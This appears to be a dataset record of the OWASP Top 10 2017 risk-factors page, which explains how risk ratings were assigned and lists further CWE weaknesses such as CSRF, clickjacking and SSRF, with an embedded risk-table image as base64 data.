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)
|
0xc1-risk-factors.md | ./Top10/2017/en/0xc1-risk-factors.md | # +RF Details About Risk Factors
## Top 10 Risk Factor Summary
The following table presents a summary of the 2017 Top 10 Application Security Risks, and the risk factors we have assigned to each risk. These factors were determined based on the available statistics and the experience of the OWASP Top 10 team. To understand these risks for a particular application or organization, you must consider your own specific threat agents and business impacts. Even severe software weaknesses may not present a serious risk if there are no threat agents in a position to perform the necessary attack or the business impact is negligible for the assets involved.
![Risk Factor Table](images/0xc1-risk-factor-table.png)
## Additional Risks To Consider
The Top 10 covers a lot of ground, but there are many other risks you should consider and evaluate in your organization. Some of these have appeared in previous versions of the Top 10, and others have not, including new attack techniques that are being identified all the time. Other important application security risks (ordered by CWE-ID) that you should additionally consider include:
* [CWE-352: Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)
* [CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion', 'AppDoS')](https://cwe.mitre.org/data/definitions/400.html)
* [CWE-434: Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)
* [CWE-451: User Interface (UI) Misrepresentation of Critical Information (Clickjacking and others)](https://cwe.mitre.org/data/definitions/451.html)
* [CWE-601: Unvalidated Forward and Redirects](https://cwe.mitre.org/data/definitions/601.html)
* [CWE-799: Improper Control of Interaction Frequency (Anti-Automation)](https://cwe.mitre.org/data/definitions/799.html)
* [CWE-829: Inclusion of Functionality from Untrusted Control Sphere (3rd Party Content)](https://cwe.mitre.org/data/definitions/829.html)
* [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)
| 2,078 | 0.001982 | # +RF Details About Risk Factors
## Top 10 Risk Factor Summary
The following table presents a summary of the 2017 Top 10 Application Security Risks, and the risk factors we have assigned to each risk. These factors were determined based on the available statistics and the experience of the OWASP Top 10 team. To understand these risks for a particular application or organization, you must consider your own specific threat agents and business impacts. Even severe software weaknesses may not present a serious risk if there are no threat agents in a position to perform the necessary attack or the business impact is negligible for the assets involved.
![Risk Factor Table](data:image/png;base64,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